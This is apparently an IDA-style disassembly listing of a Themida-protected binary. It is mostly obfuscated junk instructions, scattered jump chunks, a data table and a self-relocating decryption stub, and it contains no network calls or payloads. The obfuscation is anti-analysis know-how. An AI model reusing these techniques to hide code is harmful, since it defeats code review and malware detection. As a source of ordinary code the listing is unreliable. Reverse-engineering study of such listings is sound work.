; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58FB12: ; CODE XREF: sub_58CA39+2727j
add ebx, eax
add ebx, 2E405031h
push eax
mov eax, 0
add eax, ebx
jmp loc_58CC37
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58FB27: ; CODE XREF: sub_587574-B82j
mov [esp+0], ebx
mov ebx, 7D65C45h
jmp loc_5869F7
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FB34: ; CODE XREF: sub_585452+37CBj
sub eax, 1226E80h
add eax, 2F994A4Ch
sub eax, esi
sub eax, 2F994A4Ch
add eax, 1226E80h
pop esi
jmp loc_58645D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FB50: ; CODE XREF: Themida_:00587C21j
mov [esp], ebp
push 5E702535h
pop ebp
neg ebp
push esi
jmp loc_585D48
; ---------------------------------------------------------------------------
loc_58FB61: ; CODE XREF: Themida_:0058B932j
push 7F0522F1h
pop edx
jmp loc_589052
; ---------------------------------------------------------------------------
loc_58FB6C: ; CODE XREF: Themida_:0058FE86j
add edi, 4
sub edi, 4
jmp loc_58CA78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FB7D: ; CODE XREF: sub_585452+3921j
dec cl
or cl, 0D9h
inc cl
xor cl, 0B8h
jmp loc_58DCA9
; ---------------------------------------------------------------------------
loc_58FB8C: ; CODE XREF: sub_585452+4565j
push eax
jmp loc_58F860
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FB92: ; CODE XREF: Themida_:00588FADj
pop eax
jmp loc_58BC1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FB98: ; CODE XREF: sub_585452+7AE1j
mov ebx, 4792213Ch
jmp loc_58C5C2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58FBA2: ; CODE XREF: sub_589C10+1567j
add esi, 6897C00Ah
jmp loc_58DE95
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_58FBAD: ; CODE XREF: sub_58DA2E-8A4Dj
pop ebx
push eax
mov al, dl
mov bl, al
pop eax
pop edx
mov ch, bl
mov ebx, [esp+0Ch+var_C]
jmp loc_587E47
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_58FBBF: ; CODE XREF: Themida_:00587CEEj
inc ecx
jmp loc_5863D7
; ---------------------------------------------------------------------------
loc_58FBC5: ; CODE XREF: Themida_:005850D8j
mov al, 17h
push edx
mov dl, 0A5h
xor dl, 69h
xor dl, 2Bh
push eax
mov al, 3Eh
jmp loc_58C9DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FBD8: ; CODE XREF: sub_585452-C3Dj
add esi, 4AA97C22h
mov edi, esi
jmp loc_589E4C
; ---------------------------------------------------------------------------
loc_58FBE5: ; CODE XREF: sub_585452+276j
mov edi, 4C674FB7h
xor eax, edi
pop edi
push edi
mov edi, 508571B4h
sub eax, edi
pop edi
xor esi, eax
pop eax
xor eax, esi
jmp loc_58E024
; ---------------------------------------------------------------------------
loc_58FC00: ; CODE XREF: sub_585452+869Dj
neg edi
push ebp
mov ebp, 2F1B1D15h
xor edi, ebp
pop ebp
add edi, 0DA760F8Bh
and eax, edi
push dword ptr [esp+0]
mov edi, [esp+2+var_4+2]
add esp, 4
jmp loc_58F3DA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FC24: ; CODE XREF: Themida_:00584F59j
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_58D9DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FC36: ; CODE XREF: sub_585452+2CBFj
mov [esp-0Eh+arg_8+2], esi
push ecx
mov ecx, 7A925FB9h
mov esi, ecx
pop ecx
push edx
push edi
mov edi, 7BC137DFh
shr edi, 7
shr edi, 8
neg edi
shl edi, 1
jmp loc_584CA5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FC58: ; CODE XREF: Themida_:0058AD06j
add ebp, 4
add ebp, 4
jmp loc_585A14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58FC66: ; CODE XREF: sub_58FA66-4123j
pop esp
mov [esp+8+var_8], eax
jmp loc_586B67
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58FC6F: ; CODE XREF: Themida_:00584AEBj
add dword ptr [esp], 4
pop edi
jmp loc_58A63B
; ---------------------------------------------------------------------------
loc_58FC79: ; CODE XREF: Themida_:00589288j
or edx, 1EA623C7h
shr edx, 6
shr edx, 6
push edx
inc dword ptr [esp]
mov edx, [esp]
add esp, 4
add edx, 0FFFC119Eh
sub ebp, 5FB572FBh
add ebp, edx
add ebp, 5FB572FBh
push dword ptr [esp]
jmp loc_58FAF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FCAE: ; CODE XREF: sub_585452+9387j
pop ebp
add ebp, 4
push eax
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp+46h+var_48+2]
pop esp
mov [esp+42h+var_44+2], edx
push 0FFFFFFFFh
pop edx
sub [edi+24h], edx
mov edx, [esp+42h+var_44+2]
add esp, 4
jmp sub_58E931
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FCD9: ; CODE XREF: Themida_:0058E219j
sub edx, edi
pop edi
push ecx
jmp loc_587D4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FCE2: ; CODE XREF: sub_585452+26Ej
push eax
mov eax, 7BB0762Ah
shr eax, 8
push ebp
mov ebp, 420E53F2h
dec ebp
and ebp, 1DC458B2h
sub ebp, 9D42015Fh
jmp loc_58DA26
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FD03: ; CODE XREF: Themida_:00587512j
add ecx, 4
jmp loc_58F2FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FD0B: ; CODE XREF: sub_585452+44AFj
sub edi, ecx
pop ecx
and edi, 5D107672h
and edi, 77001780h
shl edi, 1
add edi, 1
sub edi, 0AF6BD617h
xor eax, edi
mov edi, [esp+2+var_4+2]
jmp loc_58EB34
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EDD1
loc_58FD2F: ; CODE XREF: sub_58EDD1-2521j
pop ebx
xor ah, 6Fh
xor bl, ah
mov eax, [esp-4+arg_0]
add esp, 4
add al, 9Dh
jmp sub_58999B
; END OF FUNCTION CHUNK FOR sub_58EDD1
; ---------------------------------------------------------------------------
loc_58FD45: ; CODE XREF: Themida_:00586743j
push 0C95h
jmp loc_58A215
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58FD4F: ; CODE XREF: sub_589FD5+47Fj
or edi, 6E9D7DD9h
push eax
mov eax, 6B092DD6h
and eax, 30845919h
shr eax, 4
shr eax, 5
sub eax, 21141D41h
xor eax, 4FD960C8h
jmp loc_5866E0
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_58FD75: ; CODE XREF: Themida_:0058F979j
push 0FEh
jmp loc_58DB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FD7F: ; CODE XREF: sub_585452+7432j
mov [esp-20h+arg_1A+2], edx
mov edx, 52529A9h
add edx, 2716736Ah
push esi
mov esi, 12F33447h
xor esi, 73F74187h
dec esi
add esi, 43B47175h
add esi, 5BDA3F01h
add edx, 58A602F0h
add edx, esi
sub edx, 58A602F0h
jmp loc_58C735
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58FDB9: ; CODE XREF: sub_58EA34-2796j
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
loc_58FDBE: ; CODE XREF: Themida_:00584738j
inc ebx
inc ebx
jmp loc_58D089
; ---------------------------------------------------------------------------
loc_58FDC5: ; CODE XREF: Themida_:0058AD63j
pop dword ptr [esp]
jmp loc_58E540
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_58DE8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FDDC: ; CODE XREF: sub_585452+3F56j
sub ebx, edi
add ebx, 596B693Ah
mov edi, [esp+0Eh+var_10+2]
jmp loc_58889B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58FDEC: ; CODE XREF: sub_58FA66-8EF6j
xchg eax, ecx
push eax
jmp loc_589635
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58FDF3: ; CODE XREF: Themida_:0058B825j
mov ecx, [esp]
add esp, 4
sub eax, esi
pop esi
push ebp
mov ebp, 1CAC65A6h
push ebp
jmp loc_587662
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FE0B: ; CODE XREF: sub_585452+41A3j
or edx, eax
shl edx, 1
sub esp, 4
mov [esp+0Ch+var_C], ebx
mov ebx, 24h
push edx
push eax
jmp loc_58C5F9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58FE24: ; CODE XREF: sub_58999B-3026j
add ebx, 4
push ebx
jmp loc_58DDB6
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FE30: ; CODE XREF: sub_585452+5C93j
pop eax
push ecx
mov ecx, 90B030Ch
and edx, ecx
pop ecx
not edx
push ebx
mov ebx, 10B0105h
add edx, ebx
pop ebx
add ecx, edx
pop edx
jmp loc_58A78A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FE4D: ; CODE XREF: Themida_:005867CDj
pop ebp
jmp loc_586A26
; ---------------------------------------------------------------------------
loc_58FE53: ; CODE XREF: Themida_:005850CAj
push edi
push ebp
mov ebp, 2056072Dh
xor [esp+4], ebp
pop ebp
pop eax
xor eax, 2056072Dh
pop edi
jmp loc_58CF38
; ---------------------------------------------------------------------------
loc_58FE6B: ; CODE XREF: Themida_:005899E4j
xchg ebp, [esp]
pop esp
add ebp, 4
add ebp, 2
jmp loc_587A2E
; ---------------------------------------------------------------------------
loc_58FE80: ; CODE XREF: Themida_:0058BA34j
mov [esp], ecx
push edi
mov edi, esp
jmp loc_58FB6C
; ---------------------------------------------------------------------------
loc_58FE8B: ; CODE XREF: Themida_:0058C784j
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58FE90: ; CODE XREF: sub_58EFBD-27A4j
add eax, edi
jmp loc_58AF1F
; ---------------------------------------------------------------------------
loc_58FE97: ; CODE XREF: sub_58EFBD-2C55j
xor edi, 70F257B1h
jmp loc_589441
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58FEA2: ; CODE XREF: sub_58A170+20EFj
pop ecx
xor bl, al
movzx eax, al
push small 6C93h
mov [esp-6+arg_2], ax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_58FEB5: ; CODE XREF: Themida_:00584B95j
neg edi
add edi, 3B59E37Eh
jmp loc_58BD53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FEC2: ; CODE XREF: sub_585452+8FB0j
xor al, 0F0h
jmp loc_58CF72
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58FEC9: ; CODE XREF: sub_58FA66-4B4Cj
not eax
xor eax, 41826515h
add eax, 44EEAD1Ah
mov ecx, eax
pop eax
and eax, ecx
pop ecx
jmp loc_5879F3
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58FEE0: ; CODE XREF: Themida_:00589839j
sub dh, ch
pop ecx
add al, dh
mov edx, [esp]
jmp loc_585119
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_58B1C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FEFC: ; CODE XREF: sub_585452+89E1j
or ebp, 42566258h
inc ebp
xor ebp, 1AC40C61h
dec ebp
jmp loc_589B67
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FF0F: ; CODE XREF: Themida_:0058988Aj
sub esp, 4
jmp loc_584ED2
; ---------------------------------------------------------------------------
loc_58FF1A: ; CODE XREF: Themida_:005862FFj
add esp, 4
push eax
mov eax, 5E131C48h
and eax, 2C4724D5h
add eax, 211D7419h
add eax, 4F0A107Bh
shr eax, 7
jmp loc_589070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589972
loc_58FF3A: ; CODE XREF: sub_589972+23ABj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
jmp loc_586219
; END OF FUNCTION CHUNK FOR sub_589972
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58FF4E: ; CODE XREF: sub_585452+2BB2j
sub dh, 2Ah
add dh, 1
neg dh
not dh
jmp loc_58E546
; ---------------------------------------------------------------------------
loc_58FF5D: ; CODE XREF: sub_585452+6C57j
push 53BBh
mov [esp+1Ah+var_1C+2], ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+1Eh+var_20+2]
pop esp
jmp loc_586B9D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58FF85: ; CODE XREF: Themida_:005884DBj
add bl, 2
add bl, 0BEh
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
jmp loc_58E327
; ---------------------------------------------------------------------------
align 4
dd 0EB940000h, 0FF4C7C90h, 915B0012h, 8D8D005Eh, 0BADAD513h
dd 9D9EFA45h, 203005Eh, 20000h, 10000h, 20000h, 0BADA0000h
dd 0FA45h, 4 dup(0)
dd 533F0000h, 31350059h, 44F0005Ah, 557B005Ah, 5DBB005Ah
dd 35110059h, 738D0059h, 69E0059h, 0E2C20059h, 2D9B0059h
dd 6F730059h, 0F5CD0059h, 165B0059h, 0CDA50059h, 0E7520059h
dd 0EA9C0059h, 79040059h, 1CA00059h, 69F00059h, 0B84C0059h
dd 0F1F0059h, 5042005Ah, 4F9B005Ah, 4967005Ah, 0BEAC0059h
dd 37230059h, 7EC8005Ah, 51A60059h, 10260059h, 0BBB3005Ah
dd 3C310059h, 465B005Ah, 379D0059h, 9D980059h, 56920059h
dd 6980005Ah, 0A440059h, 5A880059h, 27920059h, 6B11005Ah
dd 0CE30059h, 0DD060059h, 0CFA40059h, 46330059h, 0AB01005Ah
dd 0B4E00059h, 43880059h, 0C1D7005Ah, 275B0059h, 7CF0005Ah
dd 0C94D0059h, 0D8090059h, 56680059h, 1DFD005Ah, 28BD005Ah
dd 1954005Ah, 1F290059h, 77100059h, 0D3060059h, 0C9A40059h
dd 27650059h, 0B03F0059h, 55B80059h, 8CFF0059h, 0E6AA0059h
dd 48980059h, 0F00005Ah, 2CCE005Ah, 43DE005Ah, 30000059h
dd 4BCB005Ah, 3FED0059h, 4B990059h, 67E4005Ah, 1FAA0059h
dd 4F66005Ah, 0A7F60059h, 0D8E80059h, 9D1D0059h, 0D9F80059h
dd 8B600059h, 312A0059h, 0AC510059h, 33F00059h, 0B76E005Ah
dd 317B0059h, 0D2B9005Ah, 0C4D20059h, 87E60059h, 60B50059h
dd 0E7320059h, 0C3780059h, 9AD40059h, 2FA20059h, 0B6F9005Ah
dd 8B580059h, 45FE0059h, 0FF42005Ah, 51180059h, 26CB005Ah
dd 0B8130059h, 5160059h, 219B005Ah, 0ADD0005Ah, 0DA1E0059h
dd 98500059h, 66590059h, 86A40059h, 25D80059h, 0FA180059h
dd 2DDB0059h, 5398005Ah, 15AF0059h, 32FC005Ah, 790D0059h
dd 0E0B0059h, 0B82D005Ah, 0F420059h, 2F71005Ah, 8ECD0059h
dd 16180059h, 49EE0059h, 28960059h, 1438005Ah, 5FF0005Ah
dd 212C0059h, 3F870059h, 2ACD005Ah, 508005Ah, 0C41B005Ah
dd 0DE5F0059h, 0B05F0059h, 0DEC0059h, 20EA0059h, 0B2380059h
dd 50E0059h, 8E6A0059h, 44F80059h, 7D2B0059h, 3EF40059h
dd 2746005Ah, 458B005Ah, 401B005Ah, 0E7A005Ah, 535E005Ah
dd 28CD005Ah, 2AC10059h, 0A3BB005Ah, 3F950059h, 21340059h
dd 929F0059h, 88670059h, 581D0059h, 0BD310059h, 2FC0059h
dd 820059h, 0A56A005Ah, 7E790059h, 415C0059h, 884B0059h
dd 35170059h, 0D2EA0059h, 73970059h, 2A200059h, 0C6BD0059h
dd 18270059h, 91470059h
db 59h, 0
; ---------------------------------------------------------------------------
loc_59027A: ; CODE XREF: Themida_:005D1E02j
; Themida_:005D1E0Cj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 61347A8h
mov eax, edi
add edi, 61344C0h
cmp eax, [edi+2Ch]
jnz short loc_590298
jmp short loc_5902AB
; ---------------------------------------------------------------------------
loc_590298: ; CODE XREF: Themida_:00590294j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5902A7
; ---------------------------------------------------------------------------
loc_5902A2: ; CODE XREF: Themida_:005902A9j
add [edi+ecx*4+40h], eax
dec ecx
loc_5902A7: ; CODE XREF: Themida_:005902A0j
or ecx, ecx
jnz short loc_5902A2
loc_5902AB: ; CODE XREF: Themida_:00590296j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_5902B8: ; CODE XREF: Themida_:005902BFj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_5902B8
loc_5902C1: ; CODE XREF: Themida_:00590327j
; Themida_:005905EAj ...
lodsb
push 487Dh
mov [esp], edx
push eax
push edx
mov dl, 0A3h
jmp loc_59735A
; ---------------------------------------------------------------------------
loc_5902D3: ; CODE XREF: Themida_:005A0E75j
shl edi, 6
sub edi, 76B85A75h
inc edi
xor edi, 6C166548h
xor edi, 0E61EEDE9h
jmp loc_59ACB1
; ---------------------------------------------------------------------------
loc_5902EE: ; CODE XREF: Themida_:00599ACFj
not ecx
inc ecx
xor ecx, 1ABC6B8Bh
jmp loc_5A4B2C
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push edi
mov edi, 4
sub ebp, 603948CAh
jmp loc_591436
; ---------------------------------------------------------------------------
loc_590314: ; CODE XREF: Themida_:0059B912j
push eax
mov eax, 10F43533h
add ebp, eax
pop eax
mov eax, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59032C: ; CODE XREF: Themida_:00592E3Aj
mov [esp], ebx
jmp loc_5A217D
; ---------------------------------------------------------------------------
loc_590334: ; CODE XREF: Themida_:00593DA4j
mov ecx, 5264604Dh
jmp loc_59D11C
; ---------------------------------------------------------------------------
loc_59033E: ; CODE XREF: Themida_:0059AEE0j
pop esi
jmp loc_59CB9C
; ---------------------------------------------------------------------------
loc_590344: ; CODE XREF: Themida_:005913CBj
mov dx, [esp]
add esp, 2
jmp loc_598936
; ---------------------------------------------------------------------------
loc_590353: ; CODE XREF: Themida_:005A19DDj
mov [esp], edx
jmp loc_5A0A60
; ---------------------------------------------------------------------------
loc_59035B: ; CODE XREF: Themida_:00595A9Cj
add eax, 53223C59h
mov ebp, [esp]
push eax
jmp loc_593545
; ---------------------------------------------------------------------------
loc_590369: ; CODE XREF: Themida_:005A07D1j
push edx
mov dl, 0FCh
shr dl, 4
add dl, 6Dh
sub dl, 89h
xor dl, 0F2h
sub bl, dl
mov edx, [esp]
add esp, 4
dec bl
jmp loc_593A6A
; ---------------------------------------------------------------------------
loc_590387: ; CODE XREF: Themida_:0059DBEAj
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esp, 4
add eax, 6EF412EAh
add eax, esi
sub eax, 6EF412EAh
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A2452
; ---------------------------------------------------------------------------
align 2
lds eax, [eax+458ECC5h]
push edx
add al, ch
sub al, 52h
pop ecx
push edx
push eax
mov ah, 39h
push ebx
jmp loc_59E1EE
; ---------------------------------------------------------------------------
loc_5903DC: ; CODE XREF: Themida_:005A5617j
add bl, al
mov ax, [esp]
add esp, 2
sub al, 0DBh
sub al, bl
add al, 0DBh
jmp loc_59BF62
; ---------------------------------------------------------------------------
loc_5903F3: ; CODE XREF: Themida_:0059D510j
mov edi, 46D266BBh
jmp loc_5974FB
; ---------------------------------------------------------------------------
loc_5903FD: ; CODE XREF: Themida_:005A0B8Fj
xor eax, [esp]
mov esp, [esp]
mov ax, [esp]
push 536h
mov [esp], ecx
jmp loc_5A2EC4
; ---------------------------------------------------------------------------
loc_590414: ; CODE XREF: Themida_:00598758j
mov [esp], ebp
push ecx
mov ecx, 2D7D58C0h
push 6DFF8CB1h
pop ebp
sub ebp, ecx
mov ecx, [esp]
add esp, 4
and ebp, 0C1608C7h
jmp loc_596A2B
; ---------------------------------------------------------------------------
loc_590439: ; CODE XREF: Themida_:00597405j
sub edx, esi
pop esi
push eax
mov eax, 7F14205Fh
push eax
jmp loc_5A55D3
; ---------------------------------------------------------------------------
loc_590448: ; CODE XREF: Themida_:005A45EFj
xchg edi, [esp]
jmp loc_593ED2
; ---------------------------------------------------------------------------
loc_590450: ; CODE XREF: Themida_:005948A3j
push edi
mov edi, 680C774Ch
sub ebx, edi
pop edi
not ebx
push esi
mov esi, 5AA1D1Dh
or ebx, esi
pop esi
add ebx, 1
push edx
mov edx, 50BB75D6h
neg edx
shl edx, 4
and edx, 64913C9Dh
dec edx
xor edx, 4BA91CD9h
jmp loc_59240D
; ---------------------------------------------------------------------------
loc_590487: ; CODE XREF: Themida_:0059F5FBj
mov [esp], esi
push ebx
mov ebx, 18F44DDDh
push ebp
jmp loc_599998
; ---------------------------------------------------------------------------
word_590496 dw 2489h ; CODE XREF: Themida_:00598153j
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 0FFh
xor al, 24h
pop ecx
push 6BF7h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_597FC0
; ---------------------------------------------------------------------------
loc_5904B9: ; CODE XREF: Themida_:0059A8C6j
add esi, ebx
mov ebx, [esp]
jmp loc_5A4C94
; ---------------------------------------------------------------------------
loc_5904C3: ; CODE XREF: Themida_:005907BFj
not edi
add edi, 292CC3h
push ebx
mov ebx, 5CD51343h
jmp loc_59E310
; ---------------------------------------------------------------------------
loc_5904D6: ; CODE XREF: Themida_:005A1C41j
add edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_592BC8
; ---------------------------------------------------------------------------
loc_5904F0: ; CODE XREF: Themida_:0059BFDCj
pop ebx
pop edi
push esi
mov esi, 246E4A29h
xor esi, 0FD53FF9h
neg esi
shl esi, 7
add esi, 3E292750h
jmp loc_5951FE
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 51C8h
mov [esp], edi
jmp loc_591D11
; ---------------------------------------------------------------------------
loc_59051F: ; CODE XREF: Themida_:0059EA89j
pop ecx
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_59B37F
; ---------------------------------------------------------------------------
loc_59053A: ; CODE XREF: Themida_:00591F0Cj
push 0F6Bh
jmp loc_595923
; ---------------------------------------------------------------------------
loc_590544: ; CODE XREF: Themida_:0059824Ej
xor eax, [esp]
jmp $+5
pop esp
mov [esp], ecx
sub dword ptr [esp], 28924DE7h
mov ebx, [esp]
jmp loc_5A2C63
; ---------------------------------------------------------------------------
loc_59055F: ; CODE XREF: Themida_:0059B558j
shr dl, 2
sub esp, 4
mov [esp], ebx
push 7426h
mov [esp], eax
mov al, 0EDh
mov bl, 31h
sub bl, al
pop eax
add bl, 5Ah
or dl, bl
mov ebx, [esp]
add esp, 4
jmp loc_596651
; ---------------------------------------------------------------------------
loc_59058A: ; CODE XREF: Themida_:005A5597j
add ecx, ebp
jmp loc_59F441
; ---------------------------------------------------------------------------
loc_590591: ; CODE XREF: Themida_:005A33D2j
pop esp
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 2
sub edx, ebx
pop ebx
jmp loc_598986
; ---------------------------------------------------------------------------
loc_5905A6: ; CODE XREF: Themida_:005A40ABj
pop ecx
push esi
mov esi, 3CD57B5Ch
and eax, esi
pop esi
sub eax, 28D94346h
push ebp
mov ebp, 33CC5237h
xor ebp, 62DE5D74h
xor ebp, 2BD76AD7h
add ebp, 178A4E5Fh
jmp loc_59981E
; ---------------------------------------------------------------------------
loc_5905D2: ; CODE XREF: Themida_:005A1A13j
sub ecx, 14703458h
jmp loc_59E226
; ---------------------------------------------------------------------------
loc_5905DD: ; CODE XREF: Themida_:005953CDj
mov esi, [esp]
add esp, 4
xor ebx, eax
xor edx, eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5905EF: ; CODE XREF: Themida_:0059591Ej
push eax
mov ah, 0CFh
not ah
sub ah, 14h
add ah, 0D7h
xor ah, 0DCh
xor cl, ah
mov eax, [esp]
add esp, 4
sub dh, 8Eh
jmp loc_59E079
; ---------------------------------------------------------------------------
loc_59060D: ; CODE XREF: Themida_:005A0742j
add edx, 4
jmp loc_595160
; ---------------------------------------------------------------------------
loc_590618: ; CODE XREF: Themida_:005A4915j
push ebp
jmp loc_5A1A37
; ---------------------------------------------------------------------------
loc_59061E: ; CODE XREF: Themida_:0059700Fj
xor esi, 64D07D0Dh
xor esi, 0AF31A4B5h
xor ecx, esi
pop esi
push ecx
not dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], esi
mov esi, 52BB0DD8h
jmp loc_599ADC
; ---------------------------------------------------------------------------
loc_590645: ; CODE XREF: Themida_:005A3F99j
mov ah, 35h
add ch, 61h
add ch, ah
sub ch, 61h
pop ax
push ebx
mov bh, 38h
add ch, bh
mov ebx, [esp]
add esp, 4
sub ah, ch
pop ecx
xor dl, ah
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_594333
; ---------------------------------------------------------------------------
loc_590670: ; CODE XREF: Themida_:0059691Dj
add esi, 4
add esi, 2
jmp loc_59FCED
; ---------------------------------------------------------------------------
loc_590681: ; CODE XREF: Themida_:00598435j
push eax
jmp loc_59B30B
; ---------------------------------------------------------------------------
loc_590687: ; CODE XREF: Themida_:0059C4E1j
add ebx, 4
jmp loc_59DA9F
; ---------------------------------------------------------------------------
loc_590692: ; CODE XREF: Themida_:0059C7F9j
inc ebp
or ebp, 306036DCh
jmp loc_592FE6
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 3AADh
jmp loc_59E564
; ---------------------------------------------------------------------------
loc_5906B4: ; CODE XREF: Themida_:00595213j
push dword ptr [esp]
pop edi
add esp, 4
push ebp
mov ebp, 6E410AFEh
push esi
mov esi, 9277063h
or ebp, esi
mov esi, [esp]
jmp loc_59C029
; ---------------------------------------------------------------------------
loc_5906D4: ; CODE XREF: Themida_:005A3DFAj
neg edi
dec edi
inc edi
xor edi, 0F715B3D8h
add eax, edi
pop edi
sub eax, esi
jmp loc_59D32A
; ---------------------------------------------------------------------------
loc_5906E8: ; CODE XREF: Themida_:005A3130j
mov ebx, 4
add [esp+4], ebx
jmp loc_598383
; ---------------------------------------------------------------------------
loc_5906F6: ; CODE XREF: Themida_:00591F68j
xor esi, 361F2A39h
neg esi
add esi, 87F2A60Fh
push 2821h
mov [esp], esi
mov eax, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
sub edi, 7FAF4221h
add edi, eax
add edi, 7FAF4221h
mov eax, [esp]
add esp, 4
add edi, 2
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5A537D
; ---------------------------------------------------------------------------
loc_59074F: ; CODE XREF: Themida_:0059161Ej
push ebp
push esp
pop ebp
push 3133h
jmp loc_594BD6
; ---------------------------------------------------------------------------
loc_59075C: ; CODE XREF: Themida_:005A33EBj
push 5AFBh
jmp loc_5A41F1
; ---------------------------------------------------------------------------
loc_590766: ; CODE XREF: Themida_:0059194Fj
mov cl, 18h
push eax
mov al, 0F7h
neg al
jmp loc_59D7B5
; ---------------------------------------------------------------------------
loc_590772: ; CODE XREF: Themida_:005A4B15j
and eax, ebp
push dword ptr [esp]
jmp loc_595477
; ---------------------------------------------------------------------------
loc_59077C: ; CODE XREF: Themida_:0059233Ej
mov edi, 4
sub esi, edi
pop edi
